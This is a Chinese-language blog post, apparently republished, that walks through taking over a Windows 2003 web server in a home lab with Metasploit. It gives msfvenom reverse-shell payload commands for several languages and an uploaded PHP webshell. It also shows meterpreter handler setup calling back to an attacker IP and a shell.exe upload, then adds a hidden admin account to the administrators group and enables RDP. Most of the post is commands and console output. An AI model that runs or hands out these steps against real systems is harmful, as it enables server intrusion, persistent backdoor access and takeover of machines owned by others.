網站提權之MSF騷操作


測試環境:

  • 內網,沒錢買服務器,而且還拿不到站,尷尬的事情😭
  • 攻擊者:parrotos 這個系統跟kali差不多
  • 服務器:windows2003

那么,我們現在先來看看使用msfvenom如何生成payload

msfvenom

這個是一個什么東西就不用說了吧,玩過metasploit的都知道(表示我還是一個新手!!!),當然沒玩過的自行谷歌,已經很多大佬跟我說過這個是滲透測試最基本的東西

在freebuf上面看到msfvenom命令行選項的中文翻譯,我直接搬過來了,不犯法吧,哈哈哈!!!

msfvenom命令行選項

Options:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-p, --payload    <payload>       指定需要使用的payload(攻擊載荷)。如果需要使用自定義的payload,請使用'-'或者stdin指定
-l, --list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all
-n, --nopsled <length> 為payload預先指定一個NOP滑動長度
-f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(編碼器)
-a, --arch <architecture> 指定payload的目標架構
--platform <platform> 指定payload的目標平台
-s, --space <length> 設定有效攻擊載荷的最大長度
-b, --bad-chars <list> 設定規避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的編碼次數
-c, --add-code <path> 指定一個附加的win32 shellcode文件
-x, --template <path> 指定一個自定義的可執行文件作為模板
-k, --keep 保護模板程序的動作,注入的payload作為一個新的進程運行
--payload-options 列舉payload的標准選項
-o, --out <path> 保存payload
-v, --var-name <name> 指定一個自定義的變量,以確定輸出格式
--shellest 最小化生成payload
-h, --help 查看幫助選項
--help-formats 查看msf支持的輸出格式列表

 

生成payload

生成payload,有有兩個必須的選項:-p -f
使用-p 來指定要使用的payload。
可以使用下面的命令來查看所有msf可用的payload列表

1
./msfvenom -l payloads

 

-p選項也支持使用使用自定義的payload,需要使用 “-“,比如:

1
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

 

使用-f 來指定payload的輸出格式
舉例:

1
./msfvenom -p windows/meterpreter/bind_tcp -f exe

 

使用下面的命令,可以產看msf支持的輸出格式

1
./msfvenom --help-formats

 

一個典型的msfvenom使用舉例如下:

1
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

 

使用自定義可執行文件模板

默認的,msfvenom使用的模板文件保存在msf/data/templates目錄中,如果你想使用你自己的模板文件,你可以使用-x選項來指定,比如:

1
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

 

這個命令將使用windows下計算器程序(calc.exe)作為可執行文件的模板生成payload。
注意:如果你想要創建一個windows的x64的可執行文件模板來生成一個x64的payload,你只能使用exe格式的模板。
使用-x選項經常和-k選項配合使用,-k選項會將你的payload作為一個新的進程運行。但目前這個選項只支持老版本的windows系統比如windows xp


 

MSF Payloads

生成攻擊載荷

Linux下反彈Meterpreter shell

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell

 

C反彈shell(C shellcode)

1
msfvenom -p windows/shell_reverse_tcp LHOST=<your IP Address> LPORT=<your port to connect on> -b "\x00\x0a\x0d" -a x86 --platform win -f c

 

Python反彈shell

1
msfvenom -p cmd/unix/reverse_python LHOST=<your IP Address> LPORT=<your port to connect on> -o shell.py

 

Asp反彈shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

 

Bash反彈shell

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

 

PHP反彈shell

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php

 

Windows反彈shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

 

上面是一些msfvenom可以生成的攻擊載荷

因為我們的需要提權網站是php的,所以就需要生成php載荷


 

開始我們的表演

接下來全是一些瞎操作😂

將php大馬上傳到服務器
我這里已經上傳成功了
但是執行whomai,net user命令沒有回顯,那證明權限不夠,所以我們拿着msf來提權
Alt text
接着
打開parrotos系統,這個系統叫做“鸚鵡”,跟kali差不多,感興趣的自行谷歌
執行命令生成攻擊載荷:

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=3333 -f raw -o shell.php

 

Alt text
shell.php這個載荷已經生成好了,生成好了的文件在當前目錄,現在我們將它上傳到服務器
Alt text
已經成功上傳,當然,光這樣是不夠的,現在切換到parrotos虛擬機系統
我們需要去執行一些漏洞利用模塊
在命令行窗口輸入msfconsole就可以進入metasploit了

1
2
3
4
5
6
7
8
┌─[root@parrot]─[~]
└──╼ # msfconsole //輸入這條命令
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp //設置payload
msf exploit(multi/handler) > show options //顯示選項
msf exploit(multi/handler) > set LHOST 192.168.32.129 //設置ip地址,注意,這個要與上面攻擊載荷里面的相同
msf exploit(multi/handler) > set LPORT 3333 //設置端口,這個也要相同
msf exploit(multi/handler) > exploit //執行攻擊

 

Alt text
Alt text
現在parrotos系統這邊正在監聽中,我們現在只需要去執行我們上傳的php文件,在任意系統中打開那個shell.php網頁即可觸發
Alt text
看到 meterpreter> 就已經反彈了一個shell了,接着輸入直接輸入getuid

1
2
3
meterpreter > getuid 
Server username: Administrator (0) //看到這個地方是administrator就成功了,我們已經有了超級管理員權限了
meterpreter >

 

直接輸入shell可以進入bash終端

1
2
3
4
5
6
7
meterpreter > shell
Process 660 created.
Channel 0 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.

C:\phpStudy\WWW\webpentest\varcov>

 

記錄這個位置C:\phpStudy\WWW\webpentest\varcov>
沒搞懂為什么在輸入shell后執行net user類似的命令為什么會斷開連接,有哪位大佬看到是否可以幫忙解釋一下

1
2
3
4
Terminate channel 0? [y/N]  y
[-] Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter >
[*] 192.168.32.143 - Meterpreter session 2 closed. Reason: Died

 

看到上面出問題了,難道沒戲了嗎,當然不是了,meterpreter>那個界面的功能已經夠我們用了

由於我的php大馬支持cmd命令執行,果斷的從新生成了一個exe文件,上傳到服務器

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=4444 -f exe -a x86 --platform win -o shell.exe

 

生成了shell.exe,現在試着用其他方法上傳到服務器,我們在執行一次php文件,然后parrotos系統這邊又監聽到了一個會話,直接連接進去
接着直接upload上傳文件即可

1
2
3
4
5
6
7
8
[*] Started reverse TCP handler on 192.168.32.129:3333 
[*] Sending stage (37543 bytes) to 192.168.32.143
[*] Meterpreter session 4 opened (192.168.32.129:3333 -> 192.168.32.143:1096) at 2018-04-20 21:18:56 +0800 //重新連接成功

meterpreter > upload shell.exe C:\\phpStudy\\WWW\\webpentest\\varcov\ //這個位置上面已經說到過,上傳到這個位置即可
[*] uploading : shell.exe -> C:\phpStudy\WWW\webpentest\varcov\
[*] uploaded : shell.exe -> C:\phpStudy\WWW\webpentest\varcov\\shell.exe
meterpreter >

 

ok,上傳成功,因為生成的exe文件是用的一個新端口,並且payload是windows/meterpereter/reverse_tcp
,所以返回重新設置即可

1
2
3
4
5
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > exploit //執行

 

完成上面操作后,來到php大馬在命令執行中寫入路徑即可
C:\phpStudy\WWW\webpentest\varcov\shell.exe
由於是windows系統,所以注意斜杠問題,windows的是反斜杠”\”
Alt text

接着提權:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
meterpreter > getuid
Server username: AA-C86AD57B48D6\Administrator //看到這個位置的administrator跟上面php得的不一樣,感覺那個可能是一個假的權限
meterpreter > shell //進入bash終端
Process 3300 created.
Channel 1 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.

C:\phpStudy\WWW\webpentest\varcov>net user //執行net user命令沒有發現admin用戶
net user
\\AA-C86AD57B48D6 ���û��ʻ�
-------------------------------------------------------------------------------
Administrator ASPNET Guest
IUSR_AA-C86AD57B48D6 IWAM_AA-C86AD57B48D6 SUPPORT_388945a0
�����ɹ����ɡ�

C:\phpStudy\WWW\webpentest\varcov>net user admin admin /add //創建一個admin用戶
net user admin admin /add
�����ɹ����ɡ�

C:\phpStudy\WWW\webpentest\varcov>net localgroup administrators admin /add //提權
net localgroup administrators admin /add
�����ɹ����ɡ�

C:\phpStudy\WWW\webpentest\varcov>net user admin //admin用戶的信息
net user admin
�û��� admin
此處省略
��������Ա *Administrators *Users //看到這個地方有Administrator用戶組就成功了

C:\phpStudy\WWW\webpentest\varcov>exit //退出bash終端
exit
//權限有了,3389沒開,我直接用這個開吧!!!
meterpreter > run getgui -e //開啟3389端口

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20180420.5422.rc
meterpreter >

 

3389端口也已經開啟了,接下來拿我們的win10去連接即可
Alt text
Alt text

大概就這么多了吧,下次有時間寫一個metasploit的使用,這個框架還是比較牛逼的


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM